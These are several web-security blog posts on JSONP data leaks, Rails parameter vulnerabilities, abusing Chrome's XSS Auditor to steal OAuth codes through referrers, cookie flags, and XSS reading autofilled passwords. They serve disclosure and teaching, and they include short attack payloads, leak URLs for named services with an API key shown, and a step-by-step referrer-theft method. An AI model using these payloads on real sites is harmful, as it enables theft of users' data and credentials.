For example, if you authenticate users with Facebook it means any XSS on your website can steal User's account. Currently I'm discussing and proposing new ways to Facebook security team how to handle it and make response_type=code more secure, because they are the biggest provider and their decisions matter. If we don't fix it - it's The Road To Hell!

By the way there is another sev=medium vulnerability in Chrome Auditor, will be published as soon as it will be patched :)

HN/reddit

Friday, February 15, 2013

Are you sure you use JSONP properly?

This is a friendly reminder about old problem with JSONP.

We need JSONP to receive some data on domain1 from domain2 because of cross origin restrictions. We put <script src="domain2?callback=CALLBACK"></script> where CALLBACK is name of Javascript function which handles received data. Here comes the rule: JSONP Should Never Be Used For Personal Data.(unless you have a special token, different for every user).

Knowledge "Who am I" is a secret. When I visit new website it's not supposed to know who I am, my email, name or sometimes my private messages. With JSONP a common vector can be:
<script src=data_provider/me.json?callback=leak></script>
By inserting this script any website can automatically receive information about me from data_provider.

Some showcases:
Stripe(fixed): https://manage.stripe.com/ajax/api/customers?count=20&callback=leak
Shopify(fixed): https://SITE.myshopify.com/admin/payments.json?callback=leak
Disqus(api_key is same for all users): http://disqus.com/api/3.0/users/listActivity.json?include=user&limit=10&api_key=Y1S1wGIzdc63qnZ5rhHfjqEABGA4ZTDncauWFFWWTUBqkmLjdxloTb7ilhGnZ7z1&callback=leak

Disqus refused to fix it explaining that "exposed data is not private", lol, but it's still personal.

Why this happens? Sometimes JSONP for private data applied by purpose - this means developers are bad at web security. But more interesting case when, for example, team adds Rack::JSONP middleware for Feature1 but it is designed to add callback in all JSON responses. You should know your stack well. 
API must not detect user by his cookies (about "broken" cookies' nature). If you "proxy" your API through website make sure to add additional CSRF token in the headers. Yes, for GET too. Because CSRF token's main goal is to protect your cookies. This is not about POST or GET, this is about your cookies == credentials.

By the way people often forget to filter and sanitize "callback" parameter. It can lead to XSS in IE6-8, because it detects content type from file extension:
URL/api.html?callback=<script>...</script>

It's also a handy Content Security Policy (denying 3rd party script sources) bypass - <script src="local.json?callback=payload//">

I recommend to allow [a-zA-Z0-9] callbacks only and use HTML5 cross domain sharing techniques rather than this insecure trick. Thanks for reading, share your ideas

Monday, February 11, 2013

Rails Vulnerabilities: Learning The Lesson

previous: Rails is [Fr]agile. Vulnerabilities Will Keep Coming
JSON exploit: http://www.zweitag.de/en/blog/ruby-on-rails-vulnerable-to-mass-assignment-and-sql-injection

Today we got 3 new vulns, IMO only JSON-related is dangerous, but I want to look at the lesson we all should learn.

attr_protected must be removed at all because it leads to DoS easily.
I guess this method is extremely unpopular anyway - nobody cares.

Regexps
use /m flag to match with newlines with .
"aa(cc\nbb".to_s.gsub(/\(.+/, '')
 => "aa\nbb" 

YAML
Wasn't it absolutely obvious to keep YAML.load away from "input"? It was, then why rubygems (Gemfile.lock) and 'serialize' were waiting for "personal" exploitsI knew about potential vuln through SQL injection, but I was on rails 4 codebase.  Even direct assignment leads to RCE in older rails. This is bad and silly :(

Don't Put Magic Params Into Magic Methods
just a few examples(you probably read them if you're following @homakov)

Any parameter in rails app can be: Integer, Date, Time, StringIO, Boolean, BigDecimal, Float, Array or Hash. thanks to alternative inputs and rack query parser!

1) validates :field, length: 2..10
 it is not safe because param can be an array: field[]=123123123123123123123&field[]
2) redirect_to user_input
can lead to XSS if user_input[status]=200&user_input[protocol]=javascript:...
3) create(!) accepts arrays and can create thousands of records with one call! It can be used with JSON params and your service will be full of spam.
4) your mailer can be used for bad because :to accepts an array and it can be a long array with other people's addresses. 
5) mysql compares "string" with integers by casting strings to 0. Yes, "randomtoken"==0 for it. Thanks @joernchen for the find but it's WONTFIX. 0 can be easily passed via JSON and XML.

JSON
If you ask me what I trust in I reply God JSON. It looks like such a simple format, so reliable and obvious. Until today. Today I learned that "json_class" attribute makes json parser to "const_get" the value. This is non sense. JSON::GenericObject is double non sense. Sad panda.

backports
there are some vulns fixed in 4 but they were not ported on old versions. For example escape_html_entities_in_json - if you do JSON.dump(user_input) it can lead to XSS in < 4.
And CSRF for routes.rb match method.
default_headers to prevent clickjacking
And bunch of other stuff.

hardening
rails codebase contains too many features not used in everyday development. Multiparameters, alternative inputs, aliases(alias in named route collection leading to RCE) and so on. It needs hardening, to reduce such enormous surface for attacks.

P.S. don't blame Rails again. You can blame rails for mass assignment (i'm kidding, blame yourself for this), but for RCEs - blame JSON/YAML gems.

So far, Rails itself is pretty safe.

Thursday, February 7, 2013

Rethinking Cookies: originOnly

Hacker news, reddit
TL;DR this post is full pain, theory and utopia. Don't mind to read if you don't care about better designed web.


What are Cookies now? This is a custom set of data, sent with every request from Client to Server in HTTP headers, mostly used for authentication purposes. Client-side(javascript) can set cookies, but this is a rare use case. Usually cookies are set on server-side, and it contains a special string to determine who is user: signed session, session_id, whatever.

All client side vulnerabilites in web security are because of cookies.

I repeat:

Cookies. They made web broken.

Problem 0 [solved, unrelated]: tampering. 

You can sign cookie with session_secret or store only random string associated with session to prevent tampering.

Problem 1 [solved]: XSS(Cross Site Scripting) 

It can steal cookies because Javascript has access to cookies. This is why we invented 'httpOnly' flag. This flag disallows reading httpOnly cookie from javascript. There is also similar "secure" flag to transfer cookies only via secure connection(MITM)
We invented httpOnly to make critical auth information inaccessible from client side and XSS. We were too stupid to make everything httpOnly by default and only few, really needed on client side httpAccessible or something.

Problem 2 [worked around] Clickjacking, framing.

Framed website received your cookies. There is nothing bad in framing any website without sending auth cookies.

We invented X-Frame-Options to deny "showing" of actually *received* private information. Cool, huh? Response with message: "don't read it if you're wrong person". And, look at some PoC.
Bonus question: Why ClearClick(checks visibility of frame on click) technology is not built-in? It is so easy, isn't it.. But Google has AdSense. AdSense is multibillion business and they have powerful tools to detect clickjacking - people, bots, data mining. Other companies( newbies in web advertising) are easily clickjackable. It's called competitive advantage

Problem 3 [worked around]: CSRF 

My old articles: CSRF Is Vulnerability in All Browsers and CSRF in 15 Popular Websites
What is CSRF, in a nutshell? Is this just a request from domain1 to domain2? No, if you want such request you can use curl, so core 'benefit' of CSRF is usage of User's cookies for domain2.
This is how cookies work from its creation: you set them once and they are sent automatically, from all hosts/origins and for all kinds of requests(<script>, <img>, <iframe>).

Requests are always sent with your cookies. The very core, key problem.

We invented CSRF Token to make sure that Cookie was sent from proper origin intentionally, not from unknown malicious website. This is just so damn stupid: token to protect another, automatically-sent token.

Auth cookie is "key", CSRF token is "another key", proof that "key" was used intentionally. U MAD

Problem 4: [not solved]: Advanced CSRF

Remember JSON leakings? Discovered 4-5 years ago, it was on Hacker News again yesterday. 
It all happened because information was actually received by malicious website. All it needs is a trick to extract it. Previously people could reload Array constructor. Who knows what's next? Stealing plain text tokens through ECMAScript Proxy object(analog of method_missing)? Through styleSheet definitions? Through <audio>/<video> stream or canvas? about:blank referrer? Yet another flash vuln?

Jesus, I'm tired of this.

Maybe we are doing it all wrong..?
It's never too late to make something right.
Don't use my Cookies until I decide to use it myself.

originOnly flag

with such flag the Cookie will be sent only when request's origin is equal this cookie's domain. If it was set on site.com than it's sent only if element(<img>, <form>, <script>, style, <iframe> etc) or XHR was executed on this domain. Or if user navigated to this website(opened in a new tab or clicked link somewhere else)

Why I wrote this?
I want web to be ideal. I want web to be like Mona Lisa: perfect or close to it (in terms of architecture)

Yes, this post is utopic, I just want more people to think about the problem, not about yet another workaround.
"It will break "like" buttons and sometimes useful cross POST whatever..."
If you don't need this flag - don't set it. Just let other 99% of websites to be safe-by-default, not waiting for yet another 0day "trick".

Would love to discuss it with web security minded people! Please, write your thoughts!

Sunday, February 3, 2013

Hacking With XSS Auditor

on Hacker News and reddit
Previously I wrote how you can use XSS Auditor for Great Good(report to administrator about detected XSS exploits) and how to destroy framebrakers/other scirpts with it(just passing script's code in a random parameter).
Today's topic is really interesting. We are not hacking XSS Auditor anymore, we are hacking with it.
I'll tell you how to steal referers with sensitive information.

First of all, there are three values of 'X-XSS-Protection' header which control XSS Auditor: 0; 1; and 1;mode=block.
First one just switches it off(I recommend it, lol).
1; is default, it detects XSS and tries to remove malicious code.
1;mode=block means basically if anything has been detected - redirect to about:blank. People used to think about it as the most secure one. Actually, no!
Steps for the hack are very simple(TL;DR is point 5):
  1. choose URL which redirects automatically(or with some user interaction) to another URL, and also carries both Private Info and Custom Payload.

    For OAuth and Single Sign On implementations Private Info is code/token/signed_request. It can be also kind of SID if it was added automatically to original URL, not removing Custom Payload.

    Custom Payload - part of redirect_uri if it's not static or some kind of 'state', which is used in OAuth to prevent CSRF and basically returned back along with code(And I found the Most Common Vulnerability with it another day).
  2. Look at the source code of the final page which user is redirected to. Choose some <script src=...></script> or <script>code</script> or <meta http-equiv..> or <a href=javascript:..> etc. Anything, that will look like an "injection" for Mr. Auditor. Copy it and encode.
  3. Now put it in the original URL in your Custom Payload. for example 'state=%3Cscript%3Esetup()%3C%2Fscript%3E'
  4. create MalloryPage. You can use <iframe> if target has no X-Frame-Options or use window.open if it has.
  5. when User visits MalloryPage he opens your crafted URL with Custom Payload, website redirects him to final page with both Private Info and Custom Payload, chrome XSS Auditor detects XSS because Custom Payload was found in source code, redirects him again to about:blank, which is easily accessible from opener's domain - now you got document.referrer with Private Info!
Demo of vulnerable SSO implementation, using sinatra and exploit for it:

There are some restrictions of course! The most obvious - it won't work for https:// pages because they don't send Referrer. But as a new vector sounds pretty awesome.
The fix is gonna be very simple - clear document.referrer for about:blank redirect.

[this guy, who wrote the article... you can hire him for a penetration test or security consulting btw. affordable price, cutting edge hacks: homakov@gmail.com]

Thursday, January 31, 2013

Rails is [Fr]agile. Vulnerabilities Will Keep Coming.

This post is just a thought, with some minor vulnerabilities(all of them are reported). Everyone knows these "January events":
1) find_by_* can be tricked to use user input's :select as injection
2) XML can be tricked to use YAML
3) YAML can be tricked to initialize arbitrary objects
4) AGAIN! JSON can be tricked to use YAML(see point 3..)

Is it over? No, I guess.
This is just a short demo, how FAR this [Fr]agileness can lead to:
There is "redirect_to" method and it accepts:


    # * <tt>Hash</tt> - The URL will be generated by calling url_for with the +options+.

    # * <tt>Record</tt> - The URL will be generated by calling url_for with the +options+, which will reference a named URL for that record.
    # * <tt>String</tt> starting with <tt>protocol://</tt> (like <tt>http://</tt>) or a protocol relative reference (like <tt>//</tt>) - Is passed straight through as the target for redirection.
    # * <tt>String</tt> not containing a protocol - The current protocol and host is prepended to the string.
    # * <tt>Proc</tt> - A block that will be executed in the controller's context. Should return any option accepted by +redirect_to+.
    # * <tt>:back</tt> - Back to the page that issued the request. Useful for forms that are triggered from multiple places.


Agile, huh?
Let's assume there is open redirect(it's bad but it happens): 'redirect_to params[:next]'
Here is generated response for /path?next[status]=200&next[protocol]=javascript:alert(document.domain)

<html><body>You are being <a href="javascript:alert(document.domain)//HOST/">redirected</a>.</body></html>

Status 200 - no redirect happened. URL has XSS. Now you just need to make user to click it. You can use clickjacking, but he can also decide to click by himself. And you can also set custom :alert, :notice - flash messages.

Another one - famous arrays with nils, which was patched in JSON/XML parsers too and it broke some apps. If you pass [nil] to find_by_ methods you can also find records where this field IS NULL(It wasn't set, intentionally). This is a good vulnerability for all kinds of APIs, spree example: https://github.com/spree/spree/pull/2492
(I'm sorry about this PR and I behaved irresponsibly. Following bugs were disclosed privately.)

Conclusion: keep an eye on your 'params'. Don't put it in 'agile' methods. It hurts.
Another conclusion: should we (Rails) start using less magic and more predictable behavior? I'm not sure.

P.S. Most likely this is the last technical post in the blog. I am starting a yet another security agency(core service is the Ruby/Rails audit), doing pen-test and code review for some cool startups and it's awesome when you can hack/help people and get paid for it. 
Want to make your Ruby application super secure? Drop a line: homakov@gmail.com 
Following security posts will be published on another website, some of old posts will be probably rewritten, with nifty design etc. I got a lot of delicious stuff in my drafts ;)

Friday, January 18, 2013

XSS Hunter: Using XSS Auditor For Great Good

discussion: Hacker News, reddit
What is XSS Auditor?
It's a built in chrome(and IE) tool, switched on by default(you can control it with X-XSS-Protection header, either 0;, 1; or 1;block), which inspects all request params and response body trying to find if any of param present as malicious script inside of body. If it detects anything odd - by default it just removes it from HTML. It can lead to weird things..
First of all we will use it for some evil.
I am telling nothing new, but a trick from my previous post - slicing scripts and events you don't like in some page
You can remove any event "on*", any javascript:... link and any <script> tag. Best targets: confirms(to make clickjacking easier) and framebuster scripts, sending them in request params(?removal=<script>remove_me();</script>). Without them life of hacker gets easier.

Don't touch my framebuster!
I created a neat trick to disallow such things to happen. Just put some random code in your code(<script src="framebuster.js?<%=rand(1,9999)%>"></script>) - nobody knows how code looks in response so it's impossible to 'cut' it off.

XSS Auditor is a pain in ass for scriptkiddies.
This is out of question. They just hate it. So let's use it even for greater good!
I wrote a demo script which detects if XSS Auditor removed any inject and if it did - we fire up document.onxssprotection event(which will notify the administrator of website for example).

Don't touch my auditor of XSS Auditor!
And we don't want our XSS auditor removed either - so when you use it be sure to write src="auditor.js?RANDOM"

I like it more than any WAF - "native" environment detects XSSes better than server side middlewares(take into account performance too).

This code is rather demo and may content bugs, I did not test it in all browsers and IE. Feel free to contribute.

Thursday, January 10, 2013

Rails 'params' #2

I discovered [1, nil] attack, but while i was checking unsafe query generation and DoS with symbols people on twitter found RCE for YAML through instancing some class that will eventually eval attribute from user input! Sweet!
IMHO this article is best on topic, and explains the whole chain of exploitation.
I told you, didn't i?

Thursday, January 3, 2013

Rails Security Digest. 'params' Case

On HN
Old tricks, new workarounds. In this post I gave mitigation advice and some explanation of WTH IS GOING ON.

1. https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/DCNTNp_qjFM
The issue can be mitigated by explicitly converting the parameter to an expected value.  For example, change this:
  Post.find_by_id(params[:id])
to this:
  Post.find_by_id(params[:id].to_s)
HOW CAN I USE IT?

You need to send keys as symbols! It's not that easy. While you can use symbols in HashWithIndifferentAccess, those symbols params[:id][:symbol] is not the case - only 'symbol' key will be used by find_by_* method.

2. Maybe put poisoned payload in your session cookie?
Tenderlove explains:
>However, this exploit does not require session secrets. The person who wrote the blog post wrote about essentially two vulnerabilities: session forging and SQL injection.
You will need to know session_secret, which is hard to steal. Forget about it.

3. Maybe craft poisoned payload in params? Normal application/x-www-form-urlencoded won't work, because keys are strings. JSON decodes to strings either. params is always HWIA. Injection is never going to happen through params[:id]


Thursday, November 29, 2012

XSS + "Save your password" = pwned

(on HNews)
Basically, browsers often suggest you to save your password and prefill it automatically.

The bug I just discovered: This value can be retrieved from JS side easily(and this means XSS can steal it). Your REAL password. It's not fucking yet-another-CSRF or SQL injection(server side is pwned) or other trivial. YOU are pwned.  Kind of a serious issue.

Very similar to old issue with 'highlighted' visited links, when attacker could know did you visit certain link or not.

Also, XSS can be on any page and user can be signed in or signed out. It will just open iframe or window and get values because of same origin.

DEMO

Browsers should deny access to prefilled passwords from JS.(UPD: not helpful)

P.S. I'm alive and in Asia(now Kuala Lumpur). Don't worry, new stuff will be published soon ;)

I WAS WRONG. (About these two things)

1. Proposed solution will break the AJAX-based authentications since JS will not have access to password anymore. For example you might want to send password in a header:
Authentication: username:password
and to do so you have to use XHR. If you cannot retrieve password from autofilled input authentication will get broken.

2. There is one more workaround - XSS can change 'action' field to 3rd party website and then .submit(). JS doesn't need access to .value - browser itself will send it to attacker's server. Should we restrict sending passwords only to actions on the current page domain(same origin)? Sounds ugly.

Possible solutions:
1. restricting 'action' value to same origin. Ugly?
2. using Autocomplete only when user is interacting with the website e.g. by typing the first letters of the nickname.
3. Ask in the top bar notification "Should we use autocomplete on example.com?" or smth like this. Looks not bad to me.

4. BEST ONE: do not use any autofill. At least for passwords.
Because security of autofills is fucked. The more websites you use - the more probability to be XSSed on the one of them.